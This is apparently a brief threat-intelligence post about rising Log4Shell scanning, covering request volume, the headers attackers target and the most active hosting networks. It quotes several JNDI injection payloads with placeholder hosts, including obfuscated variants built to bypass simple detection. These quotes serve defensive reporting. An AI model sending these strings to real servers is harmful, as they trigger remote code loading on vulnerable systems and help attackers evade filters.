Quick update regarding the log4j CVE: within the last 24h, we detected that scan activity with malicious payloads intensified on the customers we protect at
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On the other hand, number of distinct IPs is roughly stable. The increase of malicious requests/IP can be explained by the fact that IPs are trying different payloads.
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Not only do they try the classical ${jndi:ldap://xx.xx.com:xx/xx}, they also encode/modify their payloads to try to bypass most simple detection techniques, e.g. ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.xxxx.xxx.com}
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or Mozilla ${jndi:${lower:l}${lower:d}a${lower:p}://xxx.xxx.com/a}.
Attackers attempt to go trough by testing all headers, ranging from User-Agent, Accept-Encoding to Cache-Control or Pragma. Even less common headers like X-Requested-With are used by attackers.
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For the moment, the most active ASes are DIGITALOCEAN-ASN and Contabo GmbH, followed by OVH SAS.